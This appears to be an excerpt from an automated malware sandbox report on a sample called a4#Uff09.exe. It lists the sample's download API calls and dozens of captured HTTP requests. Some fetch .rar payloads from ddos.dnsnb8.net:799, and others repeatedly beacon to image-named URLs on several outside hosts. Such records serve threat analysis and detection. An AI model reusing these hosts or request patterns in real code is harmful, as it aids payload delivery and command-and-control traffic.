Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_029DB888 lstrcpy,InternetOpenA,InternetOpenUrlA,CreateFileA,InternetReadFile,WriteFile,CloseHandle,InternetCloseHandle,InternetCloseHandle, 0_2_029DB888
Source: global traffic HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?4ad8f3=24526015 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /xs.jpg?4cac3c=10049656 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?4dbdbb=20379372 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /xs.jpg?5099e9=26411405 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?53338f=5452687 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?963c82=39383560 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159208|1720159208|0|1|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?a9ea3a=22271092 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159209|1720159209|0|1|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?b7b144=96307744 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159210|1720159210|0|1|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?ca9c78=119504952 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?d1e2b6=82530372 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /cj//k3.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?11838a2=36729156 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159214|1720159208|3|2|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?12c0da8=39328592 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159214|1720159209|2|2|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?14ce734=130902840 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159215|1720159210|2|2|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?15a39ca=204212250 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?174d281=24433281 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?221ae27=321855327 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159217|1720159208|3|3|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?235836c=111184452 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159219|1720159209|3|3|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?26da991=81482530 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159219|1720159210|3|3|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?27afc36=374529510 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?28f128c=128792484 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?2ed8448=294721968 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159225|1720159208|5|4|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?3019abc=302620776 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159226|1720159209|5|4|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?31491f6=51679734 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159226|1720159210|5|4|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?34684a5=54953125 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?35a0bf9=562329530 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3bf8e4d=62885453 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159229|1720159208|4|5|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?3d3a4b2=128403812 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159230|1720159209|4|5|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3e6e97f=65464703 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159230|1720159210|4|5|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?3f3ee61=66317921 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?43295c0=563392000 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?47379df=373383515 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159233|1720159208|4|6|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?4fedff7=419061715 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159234|1720159209|4|6|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?5648852=90474578 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159234|1720159210|4|6|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?5b6c481=287591811 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?654fad3=956092779 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?71f7cbe=478016248 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159237|1720159208|4|7|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?7bdce87=1298796870 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159238|1720159209|4|7|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?823b9f5=1229031837 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159238|1720159210|4|7|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?87676bf=993869625 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?9010004=906362904 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?9bcb84a=326725780 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159241|1720159208|4|8|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?a33c7a9=1540490481 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159242|1720159209|4|8|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?a8b8247=707660060 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159243|1720159210|4|8|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?c8cad9e=1052730390 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?d17ad7a=1098277730 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?e8ebb07=-2096852161 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159245|1720159208|4|9|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?ef54526=-1785416836 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159246|1720159209|4|9|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?f396007=510836750 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159249|1720159210|5|9|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?fb097cd=1842620059 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1017493b=1349807655 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?10ed67fd=1987958763 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159253|1720159208|6|10|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?118d68fd=1472400625 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159254|1720159209|6|10|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?11e16078=899948904 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159254|1720159210|5|10|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?1239c7e1=2140436263 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?12c69143=1260012812 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?13a2f3e7=329446375 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159257|1720159208|5|11|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?14cdee4b=349040203 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159257|1720159209|4|11|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?15136c45=353594437 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159258|1720159210|4|11|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?15a06cb5=-666616046 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1616ff23=1482423436 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?16fa95a6=-439756676 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159261|1720159208|4|12|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?1763225c=-1155984672 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159263|1720159209|5|12|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?17b796b8=1591630560 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159264|1720159210|5|12|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?1810ba1e=-1468721454 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?189e6034=1652130000 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?196cfa85=-1308960349 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159266|1720159208|4|13|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?1a08d9e7=1747150748 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159267|1720159209|4|13|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1a62f99e=442694046 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159267|1720159210|4|13|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?1aa9008f=-1611267238 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1b587445=292850354 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
